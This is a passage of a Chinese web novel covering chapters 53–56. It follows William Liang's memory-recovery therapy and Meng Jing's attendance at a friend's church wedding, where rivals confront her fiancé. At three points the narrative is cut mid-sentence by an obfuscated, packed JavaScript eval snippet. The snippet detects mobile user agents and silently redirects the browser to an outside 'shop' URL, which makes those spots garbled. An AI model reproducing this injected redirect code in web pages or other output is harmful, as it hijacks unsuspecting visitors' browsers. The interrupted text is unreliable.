“所以…那些事我一辈子都想不起来了？” 潜意识中，他似乎失去了生命中最重要的东西，但现在看来，那些居然是曾经让自己深陷泥潭的枷锁吗？ 不可以。 这五年间，他的身份地位、心智手段已非少年可比拟，过去的枷锁未必能锁住现在的他。 也许还可以试试。 脑中闪过Leo的话，梁珞唯像抓住救命稻草一般，直起身子，怔怔地盯着Mike：“既然Leo说我想起来了什么是正常现象，那就一定有什么手段，可以真的恢复那些记忆。” 一秒，两秒，三秒… 一分钟过去。 Mike撑不住这样的眼神，终于缴械投降：“哎呀好吧好吧好吧…” 他再次打开脚边的保险柜，取出一个信封，自暴自弃般扔到桌子上：“你该谢谢我！当年我就预料到会有这一天了。” 梁珞唯起身拿过来，站在桌边打开。 信封中是一页简短的手写信，来自于五年前的自己。 信中写明，这种治疗是他本人自愿进行的，本来是希望彻底清除关于某个人的一段记忆，可Mike怕这样做后会从另一方面反噬他的病情，所以留下了恢复记忆的可能。 但人的大脑毕竟不是背包，可以轻易地开合拿取，每一次治疗必定都伴随着未知和风险，不到万不得已，Mike不会同意治疗。 梁珞唯将纸叠好，装回信封：“你给我看这些，是有条件的，对么。” “当然。这是你自己的亲笔，谁也做不了假。”Mike看向那个信封，“五年前的治疗是因为一个人，除非现在的你又遇上相同的困境，需要前面的记忆去治愈现在的创伤，否则，我不会同意。” 他双手抱在胸前，语气中尽是疲惫：“William，我需要一个名字。” 名字，一个让他五年前甘愿忘记，却在今天又在脑中浮出水面的名字。 梁珞唯想到那些若有似无的谜团，想到被风雪刮倒在地的海棠树，想到女人抚在自己胸口时的冰凉触感，想到后颈那个若有似无的印记。 他曾经放弃过一朵花，本以为它随风凋零后消失不见，却不曾想，世间万物来去皆有定数，泥土里埋着的种子，被时间灌溉后终究还是发了芽。 五年后的这一次，他会将它紧紧攥在手心。 “孟婧。”梁珞唯看着Mike，眼神犀利，内心笃定。 “To、孟、婧。”Toby翻看手中的婚礼请柬，摇头晃脑，“是给妈妈的。” 周阿姨从他手里接过卡片：“快吃吧小祖宗，一会儿婷婷阿姨下楼看你还没吃完，不等你了怎么办。” 可能是好久没用孟婧陪睡了，这孩子赖床赖到十点，要不是戚婷婷来接孟婧去婚纱店试礼服，他在床上腻歪着呢。 “Toby不饿。”小男孩咬下一口煎蛋，指着另一个盘子里的吐司，“妈妈还没吃，给妈妈留一点。” “哎呦，这小肚子鼓的，燕尾服怎么穿得下呦。”周阿姨边给他擦嘴边问，“是不是昨晚在梁叔叔房间里偷吃零食了？” “嘿嘿，秘密。”Toby朝梁珞唯的房间张望几眼，“梁叔叔呢？” “一早就出门了，说是晚上才会回来。”周阿姨把牛奶放到他面前，“宝贝…你喜欢梁叔叔吗 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“不说什么呀？”戚婷婷从楼上下来，从餐盘中拿起一颗葡萄，“小伙子，一会儿我们还要去幼儿园接Emma，迟到可不是绅士的行为哦。” Toby立刻将剩下的食物统统塞进嘴里，发出呜呜的声音。 周阿姨用湿巾把他的手和脸都擦了一遍，这才放他自己爬下椅子。 他又指指桌上：“阿婧的早餐！” “好好好，我这都打包了一份的。”周阿姨拿出一个饭盒，“婷婷，拿着你们一起吃。” “孟婧她…暂时不吃碳水了吧，她昨晚没睡好，更需要一杯冰美式。” “人呢…”戚婷婷回身往楼上喊，“别化啦！婚纱店有化妆师！” 孟婧边背包边小跑着下楼：“我不适合欧美妆，还是自己化的放心。” 戚婷婷选的婚纱店是一家当地连锁，价位和款式都处于中档，是很多追求性价比小家庭喜欢的选择。 夫妻俩这些天忙着搬家，备婚时间很短，这是第二次来试礼服，如果没有问题，就可以取回家了。 店中装潢典雅，灯火辉煌，四个人下车时，戚婷婷的画家丈夫已经到了。于是新郎新娘被工作人员推去换衣服，剩下孟婧带着两个小的去试花童装。 小孩子重在天真可爱，衣服只要大小合适，怎么都很好看。Toby因为太过清秀漂亮，被店长拉着单独拍了很久，结束时甚至问他，能不能来店里当小模特。 Toby不懂这些，只说要和Emma一起才拍，引得几个大人哈哈大笑。 Emma看着镜子中的自己，揪着裙角说：“Toby对不起，我不能当模特，因为我没有你漂亮。” Toby拉起Emma的小手，脆生生说：“不对，Toby觉得Emma是世界上最漂亮的女孩。” Emma抿着嘴，认真地问：“世界上最漂亮的…不是阿婧吗？” “我喜欢你。”Toby小声说，“男朋友就是要夸女朋友漂亮的，这是礼貌。” “但是我夸你不是因为礼貌。”Emma心智比Toby早熟，表达也更流畅，“你真的好看。” “谢谢Emma。”Toby笑嘻嘻地说，“梁叔叔也很帅，他明天会来吗？” “当然会。”Emma羞涩的低下头，“明天Anna给我拍照片，我求她邀请梁叔叔了。” “太好了！”Toby跳了几下，嗒嗒嗒跑到不远处孟婧所在的沙发旁，“阿婧！阿婧！” “阿婧的脸好红。”Toby扒在沙发坐垫上，“手机里有什么？” “嗯…”孟婧懵懂抬头，随后猛地将手机扣放在腿上，“没，没什么。” 轻薄粉底堪堪遮住眼下的乌青，含水的眸中有茫然，有紧张，也有羞涩。 视线虽然从手机屏幕上移开，但那条消息仿佛在视网膜上留下烙印，尚有余温，经久不散。 William：【孟小姐，你凭什么觉得我会介意？】 54. 第五十四夜 “如果她真的爱上别人呢？” “我追。” Mike看着在沙发上闭着眼睛，眉头紧锁的梁珞唯，回想着刚才两人之间的对话。 没想到，五年过去，缘分和命运仍旧没有放开这个男人。 但目睹过他这些年的经历之后，Mike相信，彻底恢复记忆后的梁珞唯，有能力抓住想要的幸福。 半小时后，梁珞唯睁开眼睛，预想中无数记忆碎片涌进大脑的情况并没有发生，他眼中闪过一丝茫然：“Mike…” “我知道，你还什么都没有想起来。” Mike在病历上做着记录：“William，我是心理医生，不是哈利波特。之前掩盖住那些记忆就花了两个月的时间，要完全恢复，过程只会更久。” 梁珞唯起身坐好，用手慢慢揉着太阳穴，感受大脑传来的变化。 这样的治疗最忌操之过急，能知道自己和那个女人曾经有过一段过往，即使是段让人不开心的过往，也已是万幸。 揭开过往隐秘的一角，也让他有了新的疑惑——既然彼此有过刻骨铭心的过去，为什么那个女人可以做到如此从容淡定。 她是真的放下了，还是说，这场被遮掩掉的痛苦，从头到尾只是属于他一个人的独角戏？ Mike没有发现的异样，继续道：“刚才只是治疗的第一步——检查。五年前的治疗效果维持的很好，这也告诉我们，要将记忆碎片从迷雾中一片一片取出，需要付出更多努力。” 梁珞唯闭上眼，强迫自己不去胡思乱想：“最快需要多久。” “也有好消息。”Mike扶了扶眼镜，“这些年有一些和你差不多情况的成功临床案例，今晚我将和专家组开会研究，讨论设计一套适合你的治疗方案。” “我知道你很着急，放心，我会最大限度让你尽快恢复。” 道谢后，梁珞唯拿出手机。 催眠之前，他给孟婧发了一条消息，当时的他还沉浸在得知真相的兴奋之中，现在冷静下来，才觉得有些太不稳重了。 好在孟婧的回复也很“幼稚”。 Sandra.M：【随便你。】 男人不自觉唇角上扬，起身准备离开：“新方案确定后通知我，我随时可以开始。还有，我需要调阅五年前的病例。” 如果那段记忆大多是负面的，他不介意再创造一些让人开心的。 反正她已经答应了，没机会再反悔。 想到下午要去的地方，梁珞唯临走又折返回去：“车钥匙。” Mike有点受不了这人的忽冷忽热，一脸无奈道：“我说过了，在Anna那里。你的记忆力是全方位都出现问题了吗？” 梁珞唯一边拨通Anna的电话，一边回头道别：“今天心情好，随你怎么说。” Mike：“你没救了…” * 教会福利院的孤儿被领养，有着一套严格的流程和仪式，梁珞唯到达教堂时，满室正回荡着空灵的吟唱。 所有孤儿在进入福利院时已经参加过受洗，Anna几年前也成为信徒，仪式到了结尾，修女拉着几个孩子围在Emma和Anna身边，进行最后的祝福。 梁珞唯没有宗教信仰，但身处如此庄严肃穆的环境，再加上刚刚揭开一段出乎意料的人生经历，看着教堂内的彩色琉璃窗，竟生出几分对上天的感恩。 全场信徒都在跟随吟唱，梁珞唯躬身落座后，发现同排座位的一个男人正朝他微笑点头。 是那天在餐车上请他喝咖啡的老板，姓赵。 原来世界真的就这么小。 梁珞唯颔首，随后认真注视起前方。 又过了十几分钟，一位神父上台宣布仪式结束，Anna终于如愿，牵着Emma的手，在众人的掌声中走到台下。 梁珞唯看到那个内向的小女孩在远处发现了他，拽着Amma的手往这边走，还羞涩地笑了笑。 他也向小姑娘点点头。 “兄弟，又见面了。”赵老板挪到梁珞唯身边，随他的视线看了看远处的母女二人，笑着说，“Emma是个好孩子，恭喜你们！” 恭喜？ 梁珞唯终于调转视线，看向他，问：“我们？” “是啊。”赵老板点点头，被问得有点懵，“你不是Anna的男朋友吗？” 梁珞唯双手插进口袋，没什么表情：“我和Anna只是普通朋友。” 无凭无据地揣测别人的关系，是他不喜欢的行为。 就在他准备离开的时候，突然想起第一次见面的场景。那时赵老板争着要和Toby去参加足球赛，而赛场上的“家庭”成员，大部分都是父亲和孩子。 小孩子不懂就罢了，大人的心思却没那么容易藏住。 原本不错的心情被撕开黑色缝隙，梁珞唯锋利的眉眼闪过一丝不快，忍着没发作，起身居高临下地对他说：“谢谢上次的咖啡，有机会去家里坐坐，周姨手艺很好。” 趁着对方没反应过来，梁珞唯又不经意地偏回半张脸：“忘了自我介绍，William梁，Sandra的未婚夫。” 说完，便大步向Anna母女走去。 “不是。”赵老板抓了抓脑袋，看了眼不远处的十字架，又看看男人高大的背影，“我没听错吧…未婚夫！？” Anna从远处就看到梁珞唯面色不善，怕他又犯病吓到孩子，让Emma先去和其他小伙伴玩一会儿。 Emma眨着眼睛：“妈妈，明天梁叔叔会来吗？” “当然。”Anna笑着捏了捏女孩的脸，“你喜欢梁叔叔？” “嗯！”Emma羞涩低下头，“妈妈，等我长大可以嫁给梁叔叔吗？” “不可以。”男人磁性的声音自上而下传过来。 梁珞唯蹲下身子，从怀中拿出一束小花，递到Emma手中：“恭喜你找到世界上最好的妈妈。” “谢谢梁叔叔。”Emma用两只手攥住，像怕它飞走一般。 “花送给你，嫁人的事就算了。”男人看了眼自己的手，“因为梁叔叔马上就要和别人结婚了。” 这回换Anna惊呆：“William！你在说什么！？” * 戚婷婷的婚礼在上午十点举行，由于仪式比较简单，所有人都不用太早去帮忙准备。 孟婧在家里给Toby穿花童礼服，天气冷，还要在小西装里套一件秋衣。 小肚子鼓鼓地绷着布料，男孩被摆弄四肢，眼睛不忘滴溜溜转：“妈妈，什么是结婚？ 孟婧将衬衫在床上捋平，解着扣子边想边答：“结婚…就是一对相爱的人组成家庭，宣布彼此共同承担彼此的快乐和悲伤，健康和病痛，等等所有，然后一直生活到老。” “唔，那Toby和妈妈也结婚了。”Toby扑到孟婧怀里蹦着，“我们是相爱的人。” 孟婧笑笑，眼中有些落寞：“Toby和妈妈不算。” “我知道。”Toby一屁股坐到衬衫上，歪着头，“妈妈和Daddy结婚，生了Toby，对吗？ 这是母子二人绕不过的话题，不管孟婧平日里多宠溺，关于家庭，关于父亲的话题，她承认，自己一直在回避，作为一个单身母亲，这点上她根本不及格。 “妈妈，梁叔叔问我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13533551|130760||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的中文名字，我说没有，他不相信。梁叔叔说每个中国人都有中文名字，为什么我没有？” 孟婧把他抱起来，套上一只衬衫袖子：“因为妈妈不舍得让你姓孟。” 如果可以，她更希望孩子能自己选择他的名字，不论姓氏，不论家族，只为自己。 “梁叔叔还问你什么了？” “嗯…好多，忘记了。”当时他好困，已经快要睡着了。 四岁的小孩子哪里藏得住心事，想要保密的事情早就忘光了：“妈妈，梁叔叔是不是Daddy呀？” 孟婧正在给他系衬衫，手一抖，差点把扣子拽下来。 这孩子，怎么会问出这种问题，梁珞唯到底和他说了什么啊！ “妈妈，你的脸好红。”Toby摸摸自己的小脸蛋，“我也热，可不可以不穿秋衣。” “不可以。”孟婧轻咳两下，装作若无其事地问，“Toby想让梁叔叔做爸爸吗？” “当然想！”Toby轻声说，“刚开始我以为梁叔叔是Emma的爸爸，还有点嫉妒她呢。” “跟我天天黑脸，倒是会哄小孩。”孟婧嘁了一声，“他有什么好的。” “梁叔叔喜欢我，也喜欢妈妈。”Toby认真说，“吃饭的时候，梁叔叔偷看妈妈，妈妈也偷看梁叔叔，我都发现了。” “就你机灵。”孟婧帮他抹了一把额头的汗水，“西服外套出去再穿吧，去，下楼吃饭。” “好！” 空荡的房间只剩孟婧一人，清晨的阳光洒在床单上，带着让人安心的暖意。 梁珞唯的心思昭然若揭，但她自己的呢？自认为隐藏的很好，却居然也逃不过几岁孩子的眼睛。 好感是有的，但绝对谈不上喜欢，这种若有似无的感情更不是她答应联姻的理由。 就像梁珞唯说的，如果孟婧想要结婚，能够选择的对象中，他是最好的那一个。 他不介意孩子，也不介意她的过去，Toby又不排斥…这场联姻，还有什么拒绝的理由？ 至于她那段不为人知的过去…既然对方到现在都没有出现，她也没有永远在原地等待的理由。 或深或浅的思绪萦绕着她，不知不觉又陷入思索的循环，直到楼下传来周阿姨催她吃饭的喊声，孟婧才缓过神来。 既然已经答应梁珞唯，便多思无疑。剩下的主要精力应该放在合同的拟定上，她提出的修改意见有很多，肯定会被驳回一些，待到回国后，还是要请沈家的律师看过才行。 一顿饭吃得心事重重，直到Toby被修女接走到后台候场，孟婧还未从忧思中抽离。 “小婧，想什么呢！”戚婷婷身穿性感婚纱，手提高跟鞋经过她身边，“是不是听见别人嚼舌根了？别理他们！都是嫉妒！” 说完，便被工作人员扶着走去后台。 孟婧茫然地问：“什么嚼舌根？” “就是你要结婚的事啊。”戚婷婷朝她眨眨眼，用嘴形比划了一个“恭喜”，随后，身体消失在帷幕之后。 “结……” 结婚？这不是还在她脑子里转的事情吗？ 距离后台大概五十米的草坪上，所有观礼宾客在此等待进场。 三三两两的人聚在一起聊天，见孟婧走过来，纷纷停止了窃窃私语。 其中有几个是街道的熟人，孟婧准备上前打招呼，顺便问问清楚到底发生了什么。 左手刚举到半空，忽觉手背一热，冰凉的掌心就被人握住。 孟婧下意识看过去，被眼前男人的华丽装束惊艳地失语片刻。 五指交叠，手被牵着垂下，身侧传来温和而磁性的声音：“早。” 55. 第五十五夜 梁珞唯今天穿了一件黑色丝绒西装外套，是某奢侈品牌秋冬最新款高定，内搭白色暗纹衬衫敞开两颗纽扣，隐约露出锁骨。同款刺绣领带折起插在胸前口袋，露出精致可爱的蜜蜂图案。 光鲜亮丽的一张皮，套在极为完美的身材之上，再加上满面春风的表情，足以让人误会他才是今天的主角。 “早？……”孟婧化了淡妆，礼裙外披印花流苏披肩，踩着红底高跟鞋，和他站在一起仿佛金童玉女下凡。 孟婧垂眸看了眼两人十指紧握的手，霎时难以作出正确的反应。 梁珞唯牵着她，像走红毯般缓慢踱到众人面前：“各位，早。” 在场所有人，和孟婧熟悉的、不熟悉的，终于找到合理的理由仔细打量起这个从来没见过的英俊男人。 昨天在教堂见过的赵老板也在人群中，他率先开口：“Sandra，上次问你时还说是单身，怎么没过几天就要结婚了，别是被人骗了吧。” 他在这条街生活多年，即使追求失败，也不愿意这位温柔漂亮的单身母亲受到什么伤害。 孟婧了解赵老板的为人，也感激他这些年对Toby的照顾，解释道：“赵哥，不是你想的那样，我和他…” 她看了一眼梁珞唯，想让他继续这个话题。 好在男人也在看她，成功接受到信号。 梁珞唯唇角微微勾起：“不牢赵老板费心，Sandra和我在很多年前就认识了，这次我过来，也是特地接她回去的。” 吃瓜的众人又是倒吸一口凉气，原来是老情人追到国外来了。 赵老板还是不愿相信这个残酷的事实，梗着脖子问：“既然是旧识，怎么现在才结婚？让Sandra这些年一个人在国外受苦，老弟你不太地道啊。” 这话说得带着情绪，孟婧笑容淡了些：“赵哥，我出国留学，然后留下，都是为了自己的学业和事业考虑的结果，也没受什么苦。” 人群中传来女人的声音：“怎么不苦！年纪轻轻拉扯大一个孩子，孩子连爸爸都没有，说出去……” “Toby有爸爸。”梁珞唯皱眉。 他的五官本就生得凌厉，面色柔和时不易察觉，此时冷起面孔，上位者的戾气发散而出，让人望而生畏。 “不管怎么样，这些都是我和孟婧的家事，今天的主角不是我们，还请各位关注新人。” 像是听到了他的话，几位修女从教堂内走出，为宾客将门打开，脸上带着盈盈笑意。 “就是的，走吧，今天是婷婷大喜的日子。 “就是就是，人家爱嫁谁嫁谁，你跟着瞎操什么心。” “那男的帅气多金，一看就不是普通人。” “哎你说他到底是不是Toby爸爸啊？” …… 秋冬的阳光晒得孟婧脸颊发烫，人群逐渐散去，草坪上斜斜映着两个人牵手的影子，她低头做了个将手收回的动作，小声说了句放手。 梁珞唯松了劲，女人柔软的五指迅速抽走，他虚虚握拳，感受着掌心的余温。 “Anna请你来的？” “嗯。” 孟婧嗔怒地瞪着他的影子：“梁珞唯，合同还没签呢，我修改的条款你到底看没看。” 清晰感受着一道灼热、强烈的目光落在自己脸上，于是她没有抬头。 “没看我可以说给你听。”她捋好鬓角的碎发，“为了Toby，婚后可以住在一起，但是我和Toby一个房间，你自己爱睡哪儿睡哪儿。” 梁珞唯没有动。 “但我也不是老古板，以后对外应酬肯定不少，必要时的牵手我可以接受，就像刚才，我也给足你面子了，至于其他…不太过分的，需要提前商量。” 写在合同里是一回事，面对面聊肢体接触又是另一回事，孟婧越说越心虚，音量便低下去，直到两人间再次沉默。 教堂内飘出管风琴演奏的声音，空灵悠远，暂时缓解了她内心的尴尬。 咬了咬下唇，孟婧迈开腿：“你不答应就算了，先进去吧。” 脚未踏出半步，只觉得小臂一紧，身子被一股不容置疑的力量带着向后，下一秒便落入男人炙热的胸膛。 “你！” 梁珞唯手臂牢牢锁着孟婧的腰，盯着她低声问：“什么算不太过分的，比如…这样？” 孟婧哪里挣得开，整个人陷入温暖的檀木香气之中：“梁珞唯，你是不是听不懂人话。” “为什么不叫梁先生了？” 梁珞唯弯下身子，将脸凑过去。 孟婧警铃大作，全身的血液汇聚到心口，有一瞬间的错觉，以为他要吻下来。 她偏过头的同时，梁珞唯的鼻尖也偏了一下，几近刮过她的侧脸，将下巴抵在她的肩上，声音又恢复了温柔：“我知道这样有些冒犯，只要一会儿，让我试试… 灼热的呼吸扫在耳侧，孟婧额角被迫触到他绣着印花的领带，声音闷闷的：“试什么？ 试试这样的动作他是否熟练，在很久以前，是不是也曾这样和她相拥。 可怀中人似乎真的吓到了，白皙纤长的后颈皮肤上激起小疙瘩，像是从未经历过如此亲密的接触。 梁珞唯在心里叹了一口气，放开她。 “婚礼过后，我有话要对你说。”他后撤半步，回到普通朋友的社交距离，“进去吧。” 教堂内成排的椅子没有明确分区，但鉴于新郎新娘的亲友来自两个国家，宾客也自然而然分开成左右两边就座。 为求低调，孟婧本想停在最后一排，但戚婷婷请了一些关系好的研究生同学，虽然和她没那么熟，但也都认识。 梁珞唯就跟在她身后，优越的外形太过扎眼，有和他分开坐的机会，孟婧自然要抓住。 几个同学是一起来的，不知道刚才门外不远处发生的事情，此刻看到孟婧身后的人，只觉惊艳。 “孟婧！好久不见！来这边坐吧！” “嘘，回头回头，你身后有个巨帅的帅哥！ “你看到他眼睛有点发蓝吗？啊啊啊混血可太戳我了！” “所以他是伴郎的朋友还是伴娘的朋友？” 孟婧有些无奈地坐在留出来的空位上，装作没听到，和几个女同学点头致意后低头看起手机。 其中一个男人推了推眼镜，对其他人说：“又犯花痴，孟婧跟你们可不一样。” 孟婧看清说话的人，笑容微微收拢：“陈珏，你不是外派到非洲了吗？” 此人在上学期间曾经疯狂追求过孟婧，甚至和她进了同一家公司，后来因为出了一些事情，工作调动离开这个国家，再没有联系过她。 “你今天真漂亮。”陈珏和另一个人换了位置，坐到孟婧身边，“我妈身体一直不好，上周有个手术，就回来了。” 孟婧不着痕迹地往反方向挪了一些，用余光去看斜后面，梁珞唯进门后找到Anna，俯身和她交谈了几句，像是在找什么人。 后来，Anna往某个地方指了指，梁珞唯便朝那个方向离开了。 还没来得及想他去做什么，陈珏旁边的几个女同学又开始议论起来：“看见没，去后台了，看那个打扮，没准还真是伴郎！” “都别和我抢啊，我要给婷婷发个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13556366|130760||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 信息，这么好的资源，今天必须拿下！” 陈珏见孟婧在发呆，镜片之后眼光闪烁，他搓着双手问：“孟婧，咱们能有三年多没见了吧，听说今天你儿子都当花童了，时间过得真快。” 孟婧敷衍道：“是啊，真快。” 如果不是因为仪式马上就要开始，她真想换个座位，哪怕是去找Anna。 陈珏又推了推眼镜：“婷婷都结婚了，你不考虑考虑？孩子越大越不好找，我这些年…” “陈珏，我已经找到了。”孟婧打断他，脸色严肃，“马上就要回国结婚，过了今天，咱们应该不会再见。” 陈珏显然没有料到孟婧会说得这么决绝，他愣住一瞬，随即狠狠抓了几下头发：“哈哈…怎么可能！是那个姓林的？” 公司中有段时间流传孟婧和林屿的八卦，虽然确实见过两人一起下班，但陈珏从来没信过。 孟婧不想在这个话题上做过多纠缠：“今天大家都是来祝福婷婷结婚的，还是专注眼下吧。” 没等陈珏再争辩，穹顶之下开始演奏婚礼进行曲。 所有宾客瞬间安静下来，齐齐转身回头，原本关闭的教堂大门再次打开，新娘一袭白纱的剪影落入众人眼中。 戚婷婷捧着白粉色的鲜花缓缓进场，后面两位小人儿手提花篮，煞有介事地扔着花瓣。 孟婧心里一松，举起手机给Toby拍照。 镜头拉进焦距，意外发现他小西装口袋处露出的小蜜蜂标志。如果没记错，那应该是和梁珞唯同款的儿童领带。 再往Anna的方向看，梁珞唯不知什么时候已经坐回原位，正和Toby对视着。 Toby边撒花边往前走，甚至没有去找孟婧的镜头，而是看着梁珞唯露出两个酒窝。 孟婧边拍照边嘟囔：“收买人心。” 心情却不自觉变好了一些。 虽然在教堂附近住了五年，但这确实孟婧第一次在教堂参加婚礼，新娘走到神父和新郎面前，神父宣读誓言，接下来便是和电视剧里看过差不多的情节。 孟婧是好友爱情的见证者，知道她一路走来的艰辛和甜蜜，心里感动的同时，也抹了几滴眼泪。 陈珏递出几张纸巾分给周围的人，最后转向孟婧。 孟婧道谢收下拿在手里，没有用。 陈珏也不在意，说：“待会儿在外面的草坪上还有个酒会，大家想合个影，可以吗？” “当然。”孟婧并不排斥集体活动，况且这么多人，相信陈珏也不会再做出什么过激行为。 教堂内仪式结束，新郎新娘和花童纷纷去后台换装，孟婧见梁珞唯和Anna很严肃地说着事情，于是也自动把他划到陌生人行列。 至于门口见过他们牵手的那些人投来的奇怪目光，只能靠她硬着头皮忽略掉。 等待过程中，陈珏举着两杯香槟走到独自站在树荫下的孟婧面前：“老同学，恭喜你也要结婚了，敬一杯酒，你不会拒绝吧？” 孟婧盯着杯中液体没有接，语气冷冷的：“抱歉，祝福我接受，酒就算了。” 陈珏做了个深呼吸，强挤出一个阴阳怪气的笑容，声音有些颤抖：“怎么，就算看不上我，也不至于这么不念旧情吧。” 孟婧不动声色地后退了一小步。 就在陈珏抬起手臂时，一声呵斥从他身后传来。 “你和她哪儿来的旧情。” 陈珏闻声回头，看清来人后，眯起眼睛：“林屿，果然是你。” 林屿穿着利落白色西装，浑身散发着消毒水味，在阳光下站得笔直：“怎么，陈先生又皮痒了？” 56. 第五十六夜 陈珏晃晃手中的香槟，狠狠瞪林屿一眼：“我祝贺老同学脱单，你来凑什么热闹，还真以为能转正？” “小人永远是小人。”林屿淡定从他手中夺过酒杯，将里面的液体泼在草坪角落，“别以为我没看见，刚才你往里面放了什么东西。” 陈珏看到林屿的严肃表情，夸张地哈哈笑：“总算被我耍一次。” “刚出教堂就发现你了，林医生，都是故意放给你看的，普通维生素而已，不放心可以拿回去做检测。” 说完，他将自己手中的香槟一饮而尽，用空酒杯指向林屿：“我就是想看看，你英雄救美又能怎么样，人家顶多说个谢谢，然后呢？拍拍屁股嫁给别人！” “你说我小人，你又是什么君子？都是男人，当了这么多年的护花使者，你什么心思别人能不知道？” “找打就直说！”面对无赖，读书人那套没用，林屿单手解开西服纽扣，挽着袖子往前走了两步。 孟婧不想让好友的婚礼生事端，拦住林屿，给他一个算了的眼神。 “陈珏。”她眼中亦有寒芒，“之前在公司发生过的事情，我没有和其他同学说过，是为了给你留个面子，如果再闹，我会直接在校友群里公布。” 林屿趁此机会做了个深呼吸。他比陈珏高大不少，虽然平日性格温和，但毕竟年长一些，板起脸来也有足够的压迫感：“别再靠近孟婧，戚婷婷不是我的同学，我不会考虑那么多。” “哼…危言耸听！”陈珏嘴里骂着，眼神中却升起慌乱，他瞟了几眼人群，随即几步一回头地，慢慢消失在街道尽头。 看来是连接下来的仪式都不敢参加了。 孟婧松了一口气，见林屿还皱着眉，问：“你怎么来了？” “打电话到你家，周阿姨说你来参加同学婚礼。” 林屿抚平衣襟：“陈珏的妈妈在我们医院做的手术，我看他回来了，怕你出事。” 孟婧笑笑：“谢了，不过光天化日之下，他应该不敢做什么出格的，毕竟已经有案底了。” “还是要小心。”林屿从上到下打量孟婧，“不过他刚才说的…你脱单了，是什么意思？” 真是会抓重点。 孟婧有点心虚。 这些年林屿一直坚定地站在她身边，不论是自己脑部的病情，还是生育的不易，亦或是对于未来的迷思，林屿都看在眼里。 她是真的把他当做亲人的。 然而回国没几天发生了这么多事情，孟婧不知道应该从哪件事先说起。 “那个…说来话长。”孟婧斟酌着措辞，“简而言之，过几天，我可能要回国领个证。” “领证？”林屿刚要平复的眉头又皱起来。 他没想到孟婧单身五年，突然跳过恋爱，直接到了结婚这步：“这也太突然了，和谁？” 孟婧刚想说你不认识，被人抢先一步。 “和我。”梁珞唯从草坪上的签到点走过来，脸色阴沉地可怕。 他比林屿高半头，黑白两色西装形成强烈反差，再加上一个锋利一个柔和的外貌气质，还未对话，就让孟婧觉得剑拔弩张。 她主动走到两人中间，让他们隔开一段距离：“梁珞唯，这是我的朋友林屿。” 两人没有牵手，也没有亲密举动，林屿却根据孟婧的表情和语气判断出，眼前这个男人就是她的“脱单对象”。 锋利优越的五官，蓝黑色的双眸，记忆中那张年轻的脸和面前人的样貌逐渐重合，林屿很意外，脱口而出：“你是…William？” 梁珞唯自认从未见过眼前这个男人，眼睛微微眯起：“林先生，您认识我？” 孟婧看向林屿，眼中尽是不可思议。 林屿想到那年夏天发生的一些事情，点点头：“我们五年前见过，在京市的一个酒吧。” 时间过去太久，当年也是匆匆一撇，并没有在心里留下什么深刻印象，但此时再见孟婧和他站到一起，林屿忽然意识到，这是未曾和孟婧提起的，被她遗忘的过去。 他拿不准梁珞唯知不知道孟婧的病情，只能含糊其辞：“不是什么大事，孟婧应该已经不记得了。” 放在以往，孟婧一定可以领会到林屿的意思。失忆之后，他们互相打配合已经非常熟练，从没有被人怀疑过。 可是这次不一样，这次的记忆居然和梁珞唯有关。 孟婧内心的惊讶不必梁珞唯少，就连语调都升高了半度：“到底是什么事？” 林屿使眼色未果，叹了口气：“你确定要当着他的面，让我告诉你？” 梁珞唯嘁了一声，走到和孟婧并排的位置：“我是阿婧的未婚夫，有什么事情是你知道，却要瞒着我的？” 反正不是什么好事情。林屿看孟婧没什么反应，又仔细回想一番细节，缓缓开口：“当时孟婧刚从霖市到京市，有一段网恋奔现被骗的经历，应该与你有关。” 孟婧这才发觉事情不对劲：“林屿你等等…” 林屿知道梁珞唯不是随便能糊弄的人，卖关子是行不通的，既然说了，就要把话说透。 “当时你来酒吧找她单独出去谈，可能是道歉吧，反正都说清楚了，也互删了联系方式，再加上孟婧后来又喜欢上别人，所以我才没有太在意。” 竟然还有这些事情…怎么可能…孟婧心里像放了张拉满的弓，一根弦紧紧绷着。 她想起好像有人说过，梁珞唯在五年前曾经生过一场重病，有些事情记不清楚也是正常。 不过…她和他…网恋？无法想象，梁珞唯面色冰冷地打出甜言蜜语是一件多么诡异的事情。 显然，梁珞唯和她观点一致。 “不可能。”男人斩钉截铁，目光如炬，“这其中肯定有误会。” 他不知道那段网恋是否真实存在，但欺骗孟婧？无论记忆如何缺失，都不是他会做出来的事情。 “感谢林先生的分享，之后我会去查清楚，您放心，这并不会影响我们的婚事。还有事，失陪。” 说完，梁珞唯牵起孟婧离开。 感受到男人温热干燥的手心，孟婧乱上加乱，有突然得知两人曾经交集的惊讶，也有被梁珞唯发现自己当年又喜欢上别人的羞赧。 如果这一切都还记得，倒没什么值得不好意思，恋爱自由，即使他们真的网恋过，也不代表什么。 但如今两人之间的亲密往事仅存于别人的讲述中，事情就变得奇怪起来。 她没有好的理由去反驳去证明，只能乖乖被人牵着离开，说不出一句解释的话。 梁珞唯走得不快，手上的力道也不重，轻易就能甩开，孟婧没这么做，随他这样走了很久。 他们踏过草坪，穿过熙熙攘攘的婚礼仪式展台，梁珞唯在冷餐台旁短暂停留，香槟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 